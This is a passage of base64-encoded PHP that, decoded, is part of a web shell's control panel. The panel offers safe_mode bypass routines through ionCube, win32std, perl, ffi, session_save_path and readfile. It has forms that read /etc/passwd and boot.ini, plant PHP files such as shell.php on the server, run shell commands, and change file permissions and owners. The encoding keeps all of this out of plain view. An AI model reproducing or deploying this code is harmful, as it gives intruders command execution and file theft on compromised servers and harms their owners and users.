JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjA0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjI2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMF9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEwX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDEwX2ZpbGUnXSk6KCcuLi8uLi9maWxlLnBocCcpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTAnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMjcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDEwX2NvbnRlbnQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTBfY29udGVudCddKT8oJF9QT1NUWyd0ZXN0MTBfY29udGVudCddKTooJzw/IGVjaG8gXCdnb3RjaGFcJzsgPz4nKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KDQppZigkc2FmZV9tb2RlKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIyOCddLCdpZDIyOCcpLiR0YWJsZV91cDIuZGl2KCdpZDIyOCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDEyX2NtZCcsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxMl9jbWQnXSk/KCRfUE9TVFsndGVzdDEyX2NtZCddKTooJ2xzIC1sYScpKSkud3MoNCkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTInKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCg0KaWYoJHNhZmVfbW9kZSYmISR1bml4KQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIyOSddLCdpZDIyOScpLiR0YWJsZV91cDIuZGl2KCdpZDIyOScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDEzX2NtZCcsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxM19jbWQnXSk/KCRfUE9TVFsndGVzdDEzX2NtZCddKTooJ2RpcicpKSkud3MoNCkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTMnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCg0KaWYoJHNhZmVfbW9kZSYmZXh0ZW5zaW9uX2xvYWRlZCgiaW9uQ3ViZSBMb2FkZXIiKSkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMzAnXSwnaWQyMzAnKS4kdGFibGVfdXAyLmRpdignaWQyMzAnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTRfY21kJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE0X2NtZCddKT8oJF9QT1NUWyd0ZXN0MTRfY21kJ10pOignLi4vLi4vYm9vdC5pbmknKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE0JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCmlmKCRzYWZlX21vZGUmJiEkdW5peCYmZXh0ZW5zaW9uX2xvYWRlZCgid2luMzJzdGQiKSkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMzEnXSwnaWQyMzEnKS4kdGFibGVfdXAyLmRpdignaWQyMzEnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxNV9jbWQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTVfY21kJ10pPygkX1BPU1RbJ3Rlc3QxNV9jbWQnXSk6KCdkaXInKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE1JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCmlmKCRzYWZlX21vZGUmJiEkdW5peCYmZXh0ZW5zaW9uX2xvYWRlZCgid2luMzJzZXJ2aWNlIikpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjMyJ10sJ2lkMjMyJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjMyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTZfY21kJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE2X2NtZCddKT8oJF9QT1NUWyd0ZXN0MTZfY21kJ10pOignZGlyJykpKS53cyg0KS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxNicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KDQppZigkc2FmZV9tb2RlJiZleHRlbnNpb25fbG9hZGVkKCJwZXJsIikpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMxJ10sJ2lkMzQnKS4kdGFibGVfdXAyLmRpdignaWQyMzMnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxN19jbWQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTdfY21kJ10pPygkX1BPU1RbJ3Rlc3QxN19jbWQnXSk6KCdkaXInKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE3JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCmlmKCRzYWZlX21vZGUmJiEkdW5peCYmZXh0ZW5zaW9uX2xvYWRlZCgiZmZpIikpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMyJ10sJ2lkMzUnKS4kdGFibGVfdXAyLmRpdignaWQyMzQnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxOF9jbWQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MThfY21kJ10pPygkX1BPU1RbJ3Rlc3QxOF9jbWQnXSk6KCdkaXInKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE4JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCmlmKCRzYWZlX21vZGUmJkBmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJykpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTIyJ10sJ2lkMTAwMCcpLiR0YWJsZV91cDIuZGl2KCdpZDEwMDAnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QyMCcsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyMCddKT8oJF9QT1NUWyd0ZXN0MjAnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MjAnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyNyddLCdpZDEwMDEnKS4kdGFibGVfdXAyLmRpdignaWQxMDAxJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iICIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QyMV9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDIxX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDIxX2ZpbGUnXSk6KCRkaXIuInRlc3QucGhwIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QyMScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KDQppZigkc2FmZV9tb2RlJiZAZnVuY3Rpb25fZXhpc3RzKCdyZWFscGF0aCcpKQ0Kew0KJHNlbGVjdF9uX3JscGggPSAiPHNlbGVjdCBuYW1lPSduX3JscGgnPjxvcHRpb24gdmFsdWU9MT5bIDEgXSAoPDwwLDAxIHNlYyk8L29wdGlvbj48b3B0aW9uIHZhbHVlPTI+WyAyIF0gKDwwLDAxIHNlYyk8L29wdGlvbj4iLg0KIjxvcHRpb24gdmFsdWU9MyBzZWxlY3RlZD5bIDMgXSAoPDEgc2VjIChkZWZhdWx0KSk8L29wdGlvbj4iLg0KIjxvcHRpb24gdmFsdWU9ND5bIDQgXSAoPDEwIHNlYyk8L29wdGlvbj48b3B0aW9uIHZhbHVlPTU+WyA1IF0gKD4xMDAgc2VjIChkYW5nZXIpKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Nj5bIDYgXSAoPj4xMDAgc2VjIChkYW5nZXIpKTwvb3B0aW9uPjwvc2VsZWN0PiI7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTIzJ10sJ2lkMTAwMicpLiR0YWJsZV91cDIuZGl2KCdpZDEwMDInKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpcicsMzAsKCFlbXB0eSgkX1BPU1RbJ2Rpcl9ybHBoJ10pPygkX1BPU1RbJ2Rpcl9ybHBoJ10pOigkZGlyKSkpLndzKDIpLic8Yj4nLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NSddLic8L2I+Jy53cygyKS5pbigndGV4dCcsJ2VuZF9ybHBoJyw2LCghZW1wdHkoJF9QT1NUWydlbmRfcmxwaCddKT8oJF9QT1NUWydlbmRfcmxwaCddKTooJy5waHAnKSkpLndzKDIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QyMicpLndzKDIpLic8Yj4nLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDYnXS4nPC9iPicud3MoMikuJHNlbGVjdF9uX3JscGgud3MoMikuaW4oJ2hpZGRlbicsJ3Rlc3QyMicsMCwndGVzdDIyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiZAZnVuY3Rpb25fZXhpc3RzKCdzZXNzaW9uX3NhdmVfcGF0aCcpKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyNCddLCdpZDEwMDMnKS4kdGFibGVfdXAyLmRpdignaWQxMDAzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MjNfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MjNfZmlsZTInXSk/KCRfUE9TVFsndGVzdDIzX2ZpbGUyJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDIzJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QyM19maWxlMScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyM19maWxlMSddKT8oJF9QT1NUWyd0ZXN0MjNfZmlsZTEnXSk6KCI8PyBwaHBpbmZvKCk7ID8+IikpKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjUnXSwnaWQxMDA0JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTAwNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDI0X2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDI0X2ZpbGUyJ10pPygkX1BPU1RbJ3Rlc3QyNF9maWxlMiddKTooJGRpcikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QyNCcpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MjRfZmlsZTEnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MjRfZmlsZTEnXSk/KCRfUE9TVFsndGVzdDI0X2ZpbGUxJ10pOigiPD8gcGhwaW5mbygpOyA/PiIpKSkud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTAnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KDQp9DQppZigkc2FmZV9tb2RlJiZAZnVuY3Rpb25fZXhpc3RzKCdyZWFkZmlsZScpKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyNiddLCdpZDEwMDUnKS4kdGFibGVfdXAyLmRpdignaWQxMDA1JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iICIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QyNV9maWxlMicsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyNV9maWxlMiddKT8oJF9QT1NUWyd0ZXN0MjVfZmlsZTInXSk6KCRkaXIuInNoZWxsLnBocCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MjUnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDI1X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDI1X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QyNV9maWxlMSddKTooIjw/IHBocGluZm8oKTsgPz4iKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjA3J10sJ2lkMjA3JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjA3JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjA2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2dsb2InLDg1LCcvZXRjLycpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2dsb2InKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDcnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwOSddLCdpZDIwOScpLiR0YWJsZV91cDIuZGl2KCdpZDIwOScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyb290Jyw4NSwnL2V0Yy8nKS5pbignaGlkZGVuJywnY21kJywwLCdyb290JykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyMSddLCdpZDI5MDAnKS4kdGFibGVfdXAyLmRpdignaWQyOTAwJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE5Jyw4NSwnL2V0Yy9wYXNzd2QnKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTknKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjEwJ10sJ2lkMjEwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjEwJykuJHRzOw0KZWNobyAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnemVuZCcsODUsKCFlbXB0eSgkX1BPU1RbJ3plbmQnXSk/KCRfUE9TVFsnemVuZCddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3plbmQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxMSddLCdpZDIxMScpLiR0YWJsZV91cDIuZGl2KCdpZDIxMScpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zNCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTInXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncGhwX2luaTEnLDEwLCdwaHAuaW5pJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NjUnXSkpOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjEzJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2h0YWNjZXMnLDEwLCdodGFjY2VzcycpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDY1J10pKTsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxOCddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmaWxlX2luaScsMTAsJ2luaS5waHAnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ2NSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCiRhbGlhc2VzMiA9ICcnOw0KZm9yZWFjaCAoJGFsaWFzZXMgYXMgJGFsaWFzX25hbWU9PiRhbGlhc19jbWQpDQogew0KICRhbGlhc2VzMiAuPSAiPG9wdGlvbj4kYWxpYXNfbmFtZTwvb3B0aW9uPiI7DQogfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcnXSwnaWQ2JykuJHRhYmxlX3VwMi5kaXYoJ2lkNicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIud3MoOSkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgnXS4kYXJyb3cud3MoNCkuIjwvYj4iLCI8c2VsZWN0IG5hbWU9YWxpYXM+Ii4kYWxpYXNlczIuIjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KfQ0KDQppZigkc2FmZV9tb2RlKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NyddLCdpZDQnKS4kdGFibGVfdXAyLmRpdignaWQ0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbWtfbmFtZScsNTQsKCFlbXB0eSgkX1BPU1RbJ21rX25hbWUnXSk/KCRfUE9TVFsnbWtfbmFtZSddKTooIm5ld19uYW1lIikpKS53cyg0KS4iPHNlbGVjdCBuYW1lPWFjdGlvbj48b3B0aW9uIHZhbHVlPWNyZWF0ZT4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NSddLiI8L29wdGlvbj48b3B0aW9uIHZhbHVlPWRlbGV0ZT4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NiddLiI8L29wdGlvbj48L3NlbGVjdD4iLndzKDMpLiI8c2VsZWN0IG5hbWU9d2hhdD48b3B0aW9uIHZhbHVlPWZpbGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4iPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1kaXI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjAnXS4iPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnY21kJywwLCdtaycpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTMnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoJHNhZmVfbW9kZSAmJiAkdW5peCl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjcnXSwnaWQ1JykuJHRhYmxlX3VwMi5kaXYoJ2lkNScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY4J10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBuYW1lPXdoYXQ+PG9wdGlvbiB2YWx1ZT1tb2Q+Q0hNT0Q8L29wdGlvbj48b3B0aW9uIHZhbHVlPW93bj5DSE9XTjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Z3JwPkNIR1JQPC9vcHRpb24+PC9zZWxlY3Q+Ii53cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjknXS4kYXJyb3cuIjwvYj4iLndzKDIpLmluKCd0ZXh0JywncGFyYW0xJyw0MCwoKCRfUE9TVFsncGFyYW0xJ10pPygkX1BPU1RbJ3BhcmFtMSddKTooImZpbGVuYW1lIikpKS53cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzAnXS4kYXJyb3cuIjwvYj4iLndzKDIpLmluKCd0ZXh0JywncGFyYW0yIHRpdGxlPSInLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MSddLiciJywyNiwoKCRfUE9TVFsncGFyYW0yJ10pPygkX1BPU1RbJ3BhcmFtMid